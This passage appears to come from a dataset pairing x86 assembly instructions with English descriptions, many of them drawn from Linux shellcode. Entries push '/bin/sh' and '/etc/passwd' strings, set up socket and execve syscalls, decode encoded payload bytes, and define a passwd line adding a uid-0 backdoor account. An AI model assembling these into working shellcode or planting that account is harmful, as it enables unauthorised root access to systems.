byte 0x3 onto the stack push byte 0x3 \n pop eax put the syscall 0x3 into the eax register push byte 0x30 push the byte 0x30 onto the stack push byte 0x30 \n pop eax put the syscall 0x30 into the eax register push byte 0x3f push the byte 0x3f onto the stack push byte 0x3f \n pop eax put the syscall 0x3f into the eax register push byte 0x4 push the byte 0x4 onto the stack push byte 0x4 \n pop eax put the syscall 0x4 into the eax register push byte 0x43 make the system call sigaction push byte 0x43 sigaction push byte 0x43 syscall for sigaction push byte 0x43 system call sigaction push byte 0x43 \n pop eax put the syscall 0x43 into the eax register push byte 0x43 \n pop eax put syscall sigaction into the eax register push byte 0x5 \n mov ebx, esp push the byte 0x5 onto the stack and point ebx to the stack register push byte 0x5 \n mov edx, esp push the byte 0x5 onto the stack and point edx to the stack register push byte 0x64 push the byte 0x64 onto the stack push byte 0x64 push the byte 0x64 to the stack push byte 0x64 \n pop eax put the syscall 0x64 into the eax register push byte 0x66 push the byte 0x66 onto the stack push byte 0x66 \n pop eax put the syscall 0x66 into the eax register push byte 0x7 \n mov edx, esp push the byte 0x7 onto the stack and point edx to the stack register push byte 0x77 push the byte 0x77 onto the stack push byte 0x77 push the byte 0x77 to the stack push byte 0x77 \n pop eax put the syscall 0x77 into the eax register push byte 0x8 \n mov edx, esp push the byte 0x8 onto the stack and point edx to the stack register push byte 0xb push the byte 0xb onto the stack push byte 0xb \n pop eax put the syscall 0xb into the eax register push byte 0xc push the byte 0xc onto the stack push byte 0xc \n pop eax put the syscall 0xc into the eax register push byte 1 move byte 1 onto stack push byte 1 push byte 1 onto the stack push byte 1 push the byte 1 onto the stack push byte 1 push the byte 1 to the stack push byte 1 \n mov eax, esp push the byte 1 onto the stack and point eax to the stack register push byte 1 \n pop eax put the syscall 1 into the eax register push byte 10 push the byte 10 onto the stack push byte 10 push the byte 10 to the stack push byte 10 \n pop eax put the syscall 10 into the eax register push byte 11 push the byte 11 onto the stack push byte 11 push the byte 11 to the stack push byte 11 \n pop eax put the syscall 11 into the eax register push byte 15 push the byte 15 onto the stack push byte 15 push the byte 15 to the stack push byte 15 \n pop eax put the syscall 15 into the eax register push byte 16 push byte 16 onto stack push byte 16 push the byte 16 onto the stack push byte 16 \n pop eax put the syscall 16 into the eax register push byte 17h push the byte 17h onto the stack push byte 17h \n pop eax put the syscall 17h into the eax register push byte 2 push byte 2 onto the stack push byte 2 push the byte 2 onto the stack push byte 2 \n pop eax put the syscall 2 into the eax register push byte 25 push the byte 25 onto the stack push byte 25 \n pop eax put the syscall 25 into the eax register push byte 28 push the byte 28 to the stack push byte 28 \n pop eax put the syscall 28 into the eax register push byte 3 \n mov ebx, esp push the byte 3 onto the stack and point ebx to the stack register push byte 37 push the byte 37 onto the stack push byte 37 \n pop eax put the syscall 37 into the eax register push byte 3h push the byte 3h onto the stack push byte 3h \n pop eax put the syscall 3h into the eax register push byte 4 push the byte 4 onto the stack push byte 4 \n pop eax put the syscall 4 into the eax register push byte 49 push the byte 49 onto the stack push byte 49 \n pop eax put the syscall 49 into the eax register push byte 5 push the byte 5 onto the stack push byte 5 \n pop eax put the syscall 5 into the eax register push byte 54 push the byte 54 onto the stack push byte 54 \n pop eax put the syscall 54 into the eax register push byte 6 push byte 6 onto the stack push byte 6 push the byte 6 onto the stack push byte 6 push the byte 6 to the stack push byte 6 \n pop eax put the syscall 6 into the eax register push byte 67 push the byte 67 onto the stack push byte 67 \n pop eax put the syscall 67 into the eax register push byte 70 push the byte 70 onto the stack push byte 70 \n pop eax put the syscall 70 into the eax register push byte 8 push the byte 8 onto the stack push byte 8 \n pop eax put the syscall 8 into the eax register push byte 9 push the byte 9 onto the stack push byte 9 \n pop eax put the syscall 9 into the eax register push byte chmod_call push the byte chmod_call onto the stack push byte CHMOD_CALL \n pop eax put the byte CHMOD_CALL into the eax register push byte CHMOD_CALL \n pop eax put the byte my_label into the eax register push byte L1 \n pop eax put the byte L1 into the eax register push byte my_value \n pop eax put the byte my_value into the eax register push byte VALUE \n pop eax put the byte VALUE into the eax register push cx push the contents of the cx register onto the stack push dword [ebp+16] push the dword [ebp+16] onto the stack push dword [edx+2] push the doubleword [edx+2] to the stack push dword [edx+2] push the dword [edx+2] onto the stack push dword 0x00000000 push the doubleword 0x00000000 onto the stack push dword 0x0101017f push the dword 0x0101017f onto the stack push dword 0x017aa8c0 push the dword 0x017aa8c0 onto the stack push dword 0x0501a8c0 push the dword 0x0501a8c0 onto the stack push dword 0x0a206873 push the double word 0x0a206873 onto the stack push dword 0x10 push the dword 0x10 onto the stack push dword 0x2 push the double word 2 onto the stack push dword 0x214c4f4c push the dword 0x214c4f4c onto the stack push dword 0x2335738c push the double word 0x2335738c onto the stack push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov eax, esp push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the eax register to the stack register push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov ebx, esp push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the ebx register to the stack register push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov ecx, esp push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the ecx register to the stack register push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov edx, esp push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the edx register to the stack register push dword 0x2f2f6e69 push the doubleword 0x2f2f6e69 to the stack push dword 0x2f2f6e69 push the dword 0x2f2f6e69 onto the stack push dword 0x2f3a2f3a push the double word 0x2f3a2f3a onto the stack push dword 0x2f3a3a30 push the dword 0x2f3a3a30 onto the stack push dword 0x2f6e6962 push the double word 0x2f6e6962 onto the stack push dword 0x303a3a31 push the double word 0x303a3a31 onto the stack push dword 0x313a303a push the double word 0x313a303a onto the stack push dword 0x39396e2d \n mov ebp, esp push double word 0x39396e2d onto the stack and point the ebp register to the stack register push dword 0x39396e2d \n mov ebx, esp push double word 0x39396e2d onto the stack and point the ebx register to the stack register push dword 0x39396e2d \n mov edi, esp push double word 0x39396e2d onto the stack and point the edi register to the stack register push dword 0x39396e2d \n mov esi, esp push double word 0x39396e2d onto the stack and point the esi register to the stack register push dword 0x3a303a3a push the dword 0x3a303a3a onto the stack push dword 0x4227a28b push the doubleword 0x4227a28b onto the stack push dword 0x45525649 push the dword 0x45525649 onto the stack push dword 0x58494741 push the dword 0x58494741 onto the stack push dword 0x5f657a69 push the dword 0x5f657a69 onto the stack push dword 0x6164732f push the dword 0x6164732f onto the stack push dword 0x61702f2f push the dword 0x61702f2f onto the stack push dword 0x61702f63 push the dword 0x61702f63 onto the stack push dword 0x61722f6c push the dword 0x61722f6c onto the stack push dword 0x61747069 push the doubleword 0x61747069 to the stack push dword 0x61747069 push the dword 0x61747069 onto the stack push dword 0x62732f2f push the doubleword 0x62732f2f to the stack push dword 0x62732f2f push the dword 0x62732f2f onto the stack push dword 0x62732f2f \n mov ebx, esp push the doubleword 0x62732f2f onto the stack and point the ebx register to the stack register push dword 0x6374652f push the dword 0x6374652f onto the stack push dword 0x64616568 push the dword 0x64616568 onto the stack push dword 0x64777373 push the dword 0x64777373 onto the stack push dword 0x656e7265 push the dword 0x656e7265 onto the stack push dword 0x68732f2f push the dword 0x68732f2f onto the stack push dword 0x68732f63 push the dword 0x68732f63 onto the stack push dword 0x68732f6e push the dword 0x68732f6e onto the stack push dword 0x69622f2f push the dword 0x69622f2f onto the stack push dword 0x69622f3a push the dword 0x69622f3a onto the stack push dword 0x6962732f push the dword 0x6962732f onto the stack push dword 0x6b2f7379 push the dword 0x6b2f7379 onto the stack push dword 0x6b6e756a push the dword 0x6b6e756a onto the stack push dword 0x6d6f646e push the dword 0x6d6f646e onto the stack push dword 0x6e69622f push the dword 0x6e69622f onto the stack push dword 0x6e69922f push the dword 0x6e69922f onto the stack push dword 0x6f702f6e push the dword 0x6f702f6e onto the stack push dword 0x6f726577 push the dword 0x6f726577 onto the stack push dword 0x7264632f push the dword 0x7264632f onto the stack push dword 0x72657355 push the dword 0x72657355 onto the stack push dword 0x732f636f push the dword 0x732f636f onto the stack push dword 0x73656c62 push the doubleword 0x73656c62 to the stack push dword 0x73656c62 push the dword 0x73656c62 onto the stack push dword 0x7461632f push the dword 0x7461632f onto the stack push dword 0x74652f2f push the dword 0x74652f2f onto the stack push dword 0x74652f2f \n mov eax, esp push double word 0x74652f2f onto the stack and point the eax register to the stack register push dword 0x74652f2f \n mov ebp, esp push double word 0x74652f2f onto the stack and point the ebp register to the stack register push dword 0x74652f2f \n mov ebx, esp push double word 0x74652f2f onto the stack and point the ebx register to the stack register push dword 0x74652f2f \n mov ecx, esp push double word 0x74652f2f onto the stack and point the ecx register to the stack register push dword 0x74652f2f \n mov edx, esp push double word 0x74652f2f onto the stack and point the edx register to the stack register push dword 0x74652f2f \n mov esi, esp push double word 0x74652f2f onto the stack and point the esi register to the stack register push dword 0x7665642f push the dword 0x7665642f onto the stack push dword 0x776f6461 push the dword 0x776f6461 onto the stack push dword 0x8140a8c0 push the doubleword 0x8140a8c0 to the stack push dword eax push the doubleword eax to the stack push dword eax push the dword eax onto the stack push dword ebx push the doubleword ebx to the stack push dx push dx onto the stack push eax preserve eax on the stack push eax push eax on the stack push eax push eax onto stack push eax push eax onto the stack push eax push eax to the stack push eax push eax value to the stack push eax push the contents of eax onto the stack push eax push the contents of eax register onto the stack push eax push the contents of the eax register onto the stack push eax push the value of register eax onto the stack push eax \n mov ebx, esp push the contents of the eax register onto the stack and point ebx to the stack register push eax \n mov ecx, esp push the contents of the eax register onto the stack and point ecx to the stack register push eax \n mov edx, esp push the contents of the eax register onto the stack and point edx to the stack register push ebp push ebp onto the stack push ebp push the contents of the ebp register onto the stack push ebp push the ebp onto the stack push ebp save old base pointer push ebp save the old base pointer value push ebx preserve ebx on the stack push ebx push ebx on the stack push ebx push ebx onto the stack push ebx push ebx to the stack push ebx push the contents of ebx onto the stack push ebx push the contents of ebx register onto the stack push ebx push the contents of the ebx register onto the stack push ebx push the ebx value to the stack push ebx \n mov eax, esp push the contents of the ebx register onto the stack and point eax to the stack register push ebx \n mov ecx, esp push the contents of the ebx register onto the stack and point ecx to the stack register push ebx \n mov edx, esp push the contents of the ebx register onto the stack and point edx to the stack register push ecx preserve ecx on the stack push ecx push ecx on the stack push ecx push ecx onto the stack push ecx push ecx to the stack push ecx push the contents of ecx register onto the stack push ecx push the contents of the ecx register onto the stack push ecx push the contents of the ecx register onto the stack. push ecx push the ecx onto the stack push ecx push the value of register ecx onto the stack push edi push edi onto the stack push edi push edi to the stack push edi push the contents of edi register onto the stack push edi push the contents of the edi register onto the stack push edi push the edi onto the stack push edi \n mov eax, esp push the contents of the edi register onto the stack and point eax to the stack register push edi \n mov ebx, esp push the contents of the edi register onto the stack and point ebx to the stack register push edi \n mov ecx, esp push the contents of the edi register onto the stack and point ecx to the stack register push edi \n mov edx, esp push the contents of the edi register onto the stack and point edx to the stack register push edx preserve edx on the stack push edx push edx on the stack push edx push edx onto the stack push edx push edx to the stack push edx push the contents of edx register onto the stack push edx push the contents of the edx register onto the stack push edx push the value of register edx onto the stack push edx \n mov eax, esp push the contents of the edx register onto the stack and point eax to the stack register push edx \n mov ebx, esp push the contents of the edx register onto the stack and point ebx to the stack register push edx \n mov ecx, esp push the contents of the edx register onto the stack and point ecx to the stack register push esi preserve esi on the stack push esi push esi on the stack push esi push esi onto the stack push esi push esi to the stack push esi push the contents of esi register onto the stack push esi push the contents of the esi register onto the stack push esi push the contents of the esi register onto the stack. push esi push the esi onto the stack push esi \n mov eax, esp push the contents of the esi register onto the stack and point eax to the stack register push esi \n mov ebx, esp push the contents of the esi register onto the stack and point ebx to the stack register push esi \n mov ecx, esp push the contents of the esi register onto the stack and point ecx to the stack register push esi \n mov edx, esp push the contents of the esi register onto the stack and point edx to the stack register push esp push esp onto the stack push esp push esp to the stack push esp push the contents of esp register onto the stack push esp push the contents of the esp register onto the stack push esp push the esp onto the stack push len push len onto the stack push long 0x68732f2f \n push long 0x6e69622f \n mov eax, esp move /bin/sh into the eax register push long 0x68732f2f \n push long 0x6e69622f \n mov ebx, esp move /bin/sh into the ebx register push long 0x68732f2f \n push long 0x6e69622f \n mov ecx, esp put /bin/sh into the ecx register push long 0x68732f2f \n push long 0x6e69622f \n mov edx, esp put /bin/sh into the edx register push name push name onto the stack push offset printf_msg push address of string print_msg push ogin push the contents in ogin onto the stack push sock_reg push sock_reg onto the stack push sock_reg push the sock_reg onto the stack push sys_execve push sys_execve onto the stack push word [edx] push the word [edx] onto the stack push word [edx] push the word [edx] to the stack push word 0544o push the word 0544o onto the stack push word 0644o push the word 0644o onto the stack push word 0666q push the word 0666q onto the stack push word 0x02 push the word 0x02 onto the stack push word 0x0a push the word 0x0a onto the stack push word 0x0a push the word 0x0a to the stack push word 0x0f27 push the word 0x0f27 onto the stack push word 0x1b6 push the word 0x1b6 onto the stack push word 0x1b6 push the word 0x1b6 to the stack push word 0x1ff push the word 0x1ff onto the stack push word 0x2 push the word 0x2 onto the stack push word 0x2 push the word 0x2 to the stack push word 0x2923 push 0x2923 onto stack port push word 0x2e2e push the word 0x2e2e onto the stack push word 0x3436 push the word 0x3436 onto the stack push word 0x3582 push the word 0x3582 onto the stack push word 0x3636 push the word 0x3636 onto the stack push word 0x3905 push the word 0x3905 onto the stack push word 0x3905 push the word 0x3905 to the stack push word 0x3930 push the word 0x3930 onto the stack push word 0x401f push the word 0x401f onto the stack push word 0x4255 push the word 0x4255 onto the stack push word 0x462d push the word 0x462d onto the stack push word 0x462d push the word 0x462d to the stack push word 0x5000 push 0x5000 onto stack port push word 0x5445 push the word 0x5445 onto the stack push word 0x5974 push the word 0x5974 onto the stack push word 0x5c11 push the word 0x5c11 onto the stack push word 0x5c11 push the word 0x5c11 to the stack push word 0x632d push the word 0x632d onto the stack push word 0x632d push the word 0x632d to the stack push word 0x632d \n mov eax, esp push the word 0x632d onto the stack and point the eax register to the stack register push word 0x632d \n mov ebx, esp push the word 0x632d onto the stack and point the ebx register to the stack register push word 0x632d \n mov ecx, esp push the word 0x632d onto the stack and point the ecx register to the stack register push word 0x632d \n mov edi, esp push the word 0x632d onto the stack and point the edi register to the stack register push word 0x632d \n mov edx, esp push the word 0x632d onto the stack and point the edx register to the stack register push word 0x632d \n mov esi, esp push the word 0x632d onto the stack and point the esi register to the stack register push word 0x6465 push the word 0x6465 onto the stack push word 0x662d push the word 0x662d onto the stack push word 0x662d \n mov eax, esp push the word 0x662d onto the stack and point the eax register to the stack register push word 0x662d \n mov ebx, esp push the word 0x662d onto the stack and point the ebx register to the stack register push word 0x662d \n mov ecx, esp push the word 0x662d onto the stack and point the ecx register to the stack register push word 0x662d \n mov edi, esp push the word 0x662d onto the stack and point the edi register to the stack register push word 0x662d \n mov edx, esp push the word 0x662d onto the stack and point the edx register to the stack register push word 0x662d \n mov esi, esp push the word 0x662d onto the stack and point the esi register to the stack register push word 0x6666 push the word 0x6666 onto the stack push word 0x6873 push the word 0x6873 onto the stack push word 0x692d push the word 0x692d onto the stack push word 0x697a push the word 0x697a onto the stack push word 0x6d6f push the word 0x6d6f onto the stack push word 0x6f64 push the word 0x6f64 onto the stack push word 0x6f64 push the word 0x6f64 to the stack push word 0x7065 push the word 0x7065 onto the stack push word 0x722d push the word 0x722d onto the stack push word 0x7365 push the word 0x7365 onto the stack push word 0x736e push the word 0x736e onto the stack push word 0x776f push the word 0x776f onto the stack push word 0x7773 push the word 0x7773 onto the stack push word 0x7773 push the word 0x7773 to the stack push word 0x8223 push the word 0x8223 onto the stack push word 0xaaaa push the word 0xaaaa onto the stack push word 0xb315 push the word 0xb315 onto the stack push word 0xc005 push the word 0xc005 onto the stack push word 0xc005 push the word 0xc005 to the stack push word 0xffff push the word 0xffff onto the stack push word 0xffff push the word 0xffff to the stack push word 1 \n mov eax, esp push the word 1 onto the stack and point eax to the stack register push word 10 push the word 10 to the stack push word 100 push the word 100 onto the stack push word 17 \n mov edx, esp push the word 17 onto the stack and point edx to the stack register push word 2 push 2 onto stack push word 2 push the word 2 onto the stack push word 2 \n mov ecx, esp push the word 2 onto the stack and point ecx to the stack register push word 21 \n mov ebx, esp push the word 21 onto the stack and point ebx to the stack register push word ax push the word ax onto the stack push word bx push the word bx onto the stack push word bx push the word bx to the stack push word cx push the word cx onto the stack push zero_reg push the zero_reg onto the stack push zero_reg push zero_reg onto the stack push_cmd: declare push_cmd label push_cmd: declare the push_cmd label pushl $0x68732f2f push $0x68732f2f onto the stack pushl $0x6e69622f push $0x6e69622f onto the stack pushw $0x632d push $0x632d onto the stack pushw 0x3905 push the 0x3905 onto the stack pushw 0x682d push the 0x682d onto the stack pushw 0x697a push the 0x697a onto the stack re define label re read: declare the read label reading: declare the reading label real_number1 dd 1234 define the doubleword variable real_number1 and initialize to 1234 real_number2 dd 123456 define the doubleword variable real_number2 and initialize 123456 realarray resq 10 reserve an array of ten reals for realarray realarray resq 10 reserve array realarray of 10 real numbers ret return ret return the address off the stack and returns control to that location ret return to caller ret return to our program ret return to the address on the top of the stack ret return to where the function was called retry: declare retry label rol byte [esi], 0x1 left rotate the byte in esi 1 time rol byte [esi], 0x2 left rotate the byte at the address esi by 0x2 bits rol byte [esi], 0x2 left rotate the byte in esi 2 times rol byte [esi], 4 rotate 4 bits left the byte starting at the address esi rol edi, 1 left rotate the contents of the edi register by 1 bit rol edi, 1 left rotate the edi register 1 time rol edx, 0x4 left rotate the contents of the edx register by 0x4 bits rol edx, 0x4 left rotate the edx register 4 times ror byte [esi], 0x1 right rotate the byte in esi 1 time ror esi, 1 right rotate esi 1 time ror esi, 1 right rotate the contents of the esi register by 1 bit rotate: declare the rotate label sar eax, 23 right shift the contents of eax by 23 bits sar eax, 31 right shift the contents of eax by 31 bits sar ebx, 31 right shift the contents of ebx by 31 bits sar ecx, 2 right shift the value of register ecx by 2 bits sar edx, 4 right shift the value of register edx by 4 bits scasd compare eax with doubleword at edi and set status flags scasd compare the contents of the eax register with doubleword at edi and set status flags scasd compare the value in eax to the doubleword addressed by edi scasd compare the value in the eax register to the doubleword addressed by the edi register scasd \ jnz _end \n jmp edi jump to the _end label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register scasd \n jnz _end jump to the _end label if the value in the eax register is not equal to the doubleword addressed by edi scasd \n jnz _end \n jmp edi jump to the _end label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register scasd \n jnz _start jump to the _start label if the value in the eax register is not equal to the doubleword addressed by edi scasd \n jnz _start \n jmp edi jump to the _start label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register scasd \n jnz IncAddr jump to the IncAddr label if the value in the eax register is not equal to the doubleword addressed by edi scasd \n jnz IncAddr \n jmp edi jump to the IncAddr label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register scasd \n l1 IncAddr jump to the l1 label if the value in the eax register is not equal to the doubleword addressed by edi scasd \n l1 IncAddr \n jmp edi jump to the l1 label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register section .bss declare bss section section .bss declare code section .bss section .bss declare section bss section .bss declare section containing uninitialized data section .bss declare the bss section section .bss section bss section .data declare data section section .data declare section .data section .data declare section containing initialized data section .data declare the data section section .data section data section .data section for initialized data section .text declare .text section section .text declare code section section .text declare section containing code section .text declare section text section .text declare text section section .text declare the text section section .text section .text section .text section text set_argv: declare the set_argv label set_argv: define set_argv label set_mark: declare the set_mark label set_mark: define set_mark label setup: declare the setup label shell_ret: declare the shell_ret label shell: declare the shell label shellcode: declare the shellcode label shellcode: define shellcode label shellcode: db 'vl43ck:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:vl43ck:/tmp:/bin/bash' define the array of bytes shellcode and initialize it to vl43ck:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:vl43ck:/tmp:/bin/bash shellcode: db 0x4b,0xf7,0x13,0x59,0xcc,0x8c,0x63,0x5e,0x9f,0x8d,0x99,0x9f,0x1f,0xa4,0x3b,0x6e,0xc6,0x36,0x23 define shellcode as an array of bytes and initialize it to 0x4b,0xf7,0x13,0x59,0xcc,0x8c,0x63,0x5e,0x9f,0x8d,0x99,0x9f,0x1f,0xa4,0x3b,0x6e,0xc6,0x36,0x23 shellcodelen equ $-shellcode define shellcodelen equal to the length of shellcode shellcodelen equ $-shellcode define shellcodelen equal to the length shellcode shift_decode: declare the shift_decode label shift_decode: define shift_decode label shl al, 4 left shift the contents of al by 4 bit positions shl cx, 1 left shift cx shl eax, 1 multiply eax by 2 using left shift shl eax, 1 multiply the value of eax by 2 shl eax, 16 left shift the contents of eax 16 bits shl eax, 2 multiply eax by 4 using left shift shl eax, 28 left shift the contents of eax register by 28 bit positions shl eax, 5 left shift the contents of eax by 5 bit positions shl eax,2 left shift eax by two bits shl ebx, 1 multiply ebx by 2 using left shift shl ebx, 2 multiply ebx by 4 using left shift shl ebx, 8 left shift the contents of ebx by 8 bits shl ecx, 1 multiply ecx by 2 using left shift shl ecx, 2 multiply ecx by 4 using left shift shl edi, 0x1 left shift the contents of the edi register by 0x1 bit shl edx, 1 multiply edx by 2 using left shift shl edx, 2 multiply edx by 4 using left shift shl edx, 24 left shift the contents of the edx register by 24 bits shl edx, 9 left shift the contents of edx register by 9 bit positions shl edx, 9 left shift the contents of the edx register by 9 bits shl esi, 0x1 left shift the contents of the esi register by 0x1 bit shr [var], 3 right shift by 3 bit positions the contents of var variable shr ax, 1 right shift ax by 1 bit shr ax, cl right shift the contents of the edi register by the contents of the cl register shr bl, 4 right shift the contents of bl register by 4 bit positions shr bl,4 right shift by 4 bits bl shr dl, 1 right shift the contents of the dl register by 1 bit shr dl, 4 right shift the contents of dl register by 4 bit positions shr dl,1 right shift the contents of dl register by 1 bit positions shr eax, 1 divide eax by 2 using right shift shr eax, 16 right shift the contents of eax register by 16 bit positions shr eax, 2 divide eax by 4 using right shift shr eax, 24 right shift the contents of the eax register by 24 bit positions shr eax, 28 right shift the contents of eax register by 28 bit positions shr ebx, 1 divide ebx by 2 using right shift shr ebx, 2 divide ebx by 4 using right shift shr ebx, cl right shift the contents of the ebx register by the contents of the cl register shr ecx, 1 divide ecx by 2 using right shift shr ecx, 2 divide ecx by 4 using right shift shr edx, 1 divide edx by 2 using right shift shr edx, 16 right shift the contents of the edx register by 16 shr edx, 2 divide edx by 4 using right shift shr edx, byte 16 right shift the contents of the edx register by the byte 16 shr edx, byte 24 right shift the contents of the edx register by the byte 24 size: equ 1024 define size to be 1024 bytes large size: equ 50000 declare a constant size and set equal to 50000 stage: declare the stage label stage: define stage label stageaddress: declare the stageaddress label start: declare the start label stc set carry flag str db 'hello',0 declare 6 bytes starting at the address str initialized to the ascii character values for hello and the null byte str db 'hey',0 declare 4 bytes starting at the address str initialized to the ascii character values for the string 'hey' and 0 respectively string db 'test.txt' define string as the byte string 'test.txt' string: db '/bin/sh' define string as the byte string '/bin/sh' string: db '/etc/passwd' define string as the byte string '/etc/passwd' string: db 'file.txt' define string as the byte string 'file.txt' string: db 'file1.txt' define string as the byte string 'file1.txt' string: db 'prova.txt' define string as the byte string 'prova.txt' string: db 'tmp.txt' define string as the byte string 'tmp.txt' sub [var], esi subtract the contents of esi from the 32-bit integer stored at memory location var sub [var2], esi subtract the contents of esi from the 32-bit integer stored at memory location var2 sub al, 0x41 subtract 0x41 from the al register sub al, 1 \n jns l1 subtract the value 1 from the contents of the al register and jump to the l1 label if the result is not negative sub al, 1 \n jnz l1 subtract the value 1 from the contents of the al register and jump to the l1 label if the result is not zero sub al, 88 subtract 88 from the contents of al register and save the result in al sub al, 88 subtract 88 from the contents of the al register sub al, ah subtract ah from al sub al,0x13 subtract 0x13 from the al register sub ax, 13 subtract 13 from ax and save the result into ax sub ax, 1564 subtract 1564 from ax and save the result into ax sub ax, 1564 subtract 1564 from the contents of ax register and save the result in ax sub ax, 1564 subtract 1564 from the contents of the ax register sub ax, 1662 subtract 1662 from ax and save the result into ax sub ax, 1662 subtract 1662 from the contents of ax register and save the result in ax sub ax, 1662 subtract the contents of the ax register by 1662 sub ax, ax subtract the contents of ax from the contents of ax sub bl, 0x7 subtract 0x7 from bl and save the result into bl sub bl, 0x7 subtract 0x7 from the contents in bl and save the result in bl sub bl, 3 subtract 3 from the contents of the bl register sub bl, 3 \n jnz stage subtract the value 3 from the contents of the bl register and jump to the stage label if the result is not zero sub bl, 4 \n jns l2 subtract the value 4 from the contents of the bl register and jump to the l2 label if the result is not negative sub bl, 48 subtract the decimal value 48 from the nl register sub bl, al subtract the contents of al register from the contents of bl register and save the result in bl sub bl, byte [esi] subtract 0x7 from the byte in esi register sub bl, cl \n jnz l2 subtract the contents of the cl register from the contents of the al register and jump to the l2 label if the result is not zero sub bl,byte [esi] subtract the byte in esi from the bl register sub bx, 1634 subtract 1634 from bx and save the result into bx sub bx, 1634 subtract 1634 from the contents of bx register and save the result in bx sub bx, 1634 subtract 1634 from the contents of the bx register sub bx, 1663 subtract 1663 from bx and save the result into bx sub bx, 1663 subtract 1663 from the contents of the bx register sub bx, 1663 subtract the contents of bx register by 1663 and save the result in bx sub bx, bx subtract the contents of bx from the contents of bx sub bx, dx subtract the contents of the dx register from the contents of the bx register sub byte [buff],20h subtract 20h from the 8-bit at memory location buff sub byte [ebp+ecx],20h subtract 20h from the 8-bit at memory location ebp+ecx sub byte [esi], 0xd subtract 0xd from the byte at the address esi sub byte [esi], 13 subtract 13 from the byte at the address esi sub byte [esi], 13 subtract 13 from the byte in esi and save the result in esi sub cl, 1 subtract 1 from the contents of the cl register sub cl, 1 \n jnz decode subtract the value 1 from the contents of the cl register and jump to the decode label if the result is not zero sub cl, bl \n jns l3 subtract the contents of the bl register from the contents of the cl register and jump to the l3 label if the result is not negative sub cl, dl subtract the contents of dl register from the contents of cl register and save the result in cl sub cx, 0x7ff subtract 0x7ff from the contents in cx and save the result in cx sub cx, 0x7ff subtract 0x7ff from the contents of cx register value and save the result in cx sub cx, cx subtract the contents of cx from the contents of cx sub dl, 5 \n jns l4 subtract the value 5 from the contents of the dl register and jump to the l4 label if the result is not negative sub dl, al subtract the contents of al register from the contents of dl register and save the result in dl sub dl, al \n jns decode_pr subtract the contents of the al register from the contents of the dl register and jump to the decode_pr label if the result is not negative sub dl, byte [esi] subtract the byte at the address esi from the contents of the dl register sub dx, 15444 subtract 15444 from dx and save the result into dx sub dx, 15444 subtract 15444 from the contents of the dx register sub dx, bx subtract the contents of bx from the contents of dx sub eax, [esp] subtract the value of the memory at address esp from eax and store into eax sub eax, 0x013ffeff subtract 0x013ffeff from the contents in eax and save the result in eax sub eax, 0x04feca01 subtract 0x04feca01 from the contents in eax and save the result in eax sub eax, 0x0efc3532 subtract 0x0efc3532 from the contents in eax and save the result in eax sub eax, 0x10 subtract 0x10 from eax sub eax, 0x2c3d2dff subtract 0x2c3d2dff from the contents in eax and save the result in eax sub eax, 0x3217d6d2 subtract 0x3217d6d2 from the contents in eax and save the result in eax sub eax, 0x3bd04ede subtract 0x3bd04ede from the contents in eax and save the result in eax sub eax, 0x70445eaf subtract 0x70445eaf from the contents in eax and save the result in eax sub eax, 216 subtract 216 from the value stored in eax sub eax, 3 decrease eax by 3 sub eax, 3e716230 subtract 3e716230 from the contents of the eax register sub eax, 5d455523 subtract 5d455523 from the contents of the eax register sub eax, 5e5d7722 subtract 5e5d7722 from the contents of the eax register sub eax, 8 subtract 8 from the contents of eax register and save the result in eax sub eax, 8 subtract 8 from the contents of the eax register sub eax, eax subtract the contents of eax from the contents of eax sub eax, ebx subtract ebx from eax sub eax, ebx subtract the address in ebx from the address in eax sub eax,20000h subtract 20000h from eax register sub ebx, 0x2e2aa163 subtract 0x2e2aa163 from ebx and save the result into ebx sub ebx, 0x2e2aa163 subtract 0x2e2aa163 from the contents in ebx and save the result in ebx sub ebx, 2 decrease ebx by 2 sub ebx, byte 3 subtract the byte 3 from the contents of the ebx register sub ebx, byte 3 subtract the byte value 3 from the contents of ebx and save the result in ebx sub ebx, byte 8 subtract the byte 8 from the contents of the ebx register sub ebx, byte 8 subtract the byte value 8 from the contents of ebx and save the result in ebx sub ecx, 0x04baca01 subtract 0x04baca01 from the contents in ecx and save the result in ecx sub ecx, 0x0b454440 subtract 0x0b454440 from the contents in ecx and save the result in ecx sub ecx, 0x1525152a subtract 0x1525152a from the contents in ecx and save the result in ecx sub ecx, 0x6374612e subtract 0x6374612e from the contents in ecx and save the result in ecx sub ecx, 1 decrease ecx by 1 sub ecx, 23 subtract 23 from the contents of the ecx register sub ecx, ecx subtract ecx from ecx and save the result into ecx sub ecx, ecx subtract the contents of ecx from the contents of ecx sub ecx, ecx subtract the contents of the ecx register from the contents of the ecx register sub edi, 0x44444444 subtract 0x44444444 from edi and save the result in edi sub edi, 0xffffffdf subtract 0xffffffdf from edi sub edi, 1768009314 subtract 1768009314 from the contents of the edi register sub edi, 1768009314 subtract 1768009314 from the edi register and save the result in edi sub edx, 4 decrease edx by 4 sub edx, edx subtract the contents of the edx register from the contents of the edx register sub esp, 0x24 subtract 0x24 from the contents in esp and save the result in esp sub esp, 0x28 subtract the value 0x28 from the esp register sub esp, 12 subtract 12 from esp register and save the result in esp sub esp, 12 subtract 12 from the contents of the esp register sub esp, 4 allocate memory for a variable sub esp, 4 allocate memory for local variables sub esp, 4 allocate memory for variable sub esp, 4 allocate space on the stack for local variable sub esp, 4 make room for one 4-byte local variable sub esp, 4 make room on the stack for local variable sub esp, 4 make space on stack sub esp, 4 subtract the value 4 from the esp register and save the result in esp sub esp, 8 subtract 8 from esp and save the result in esp 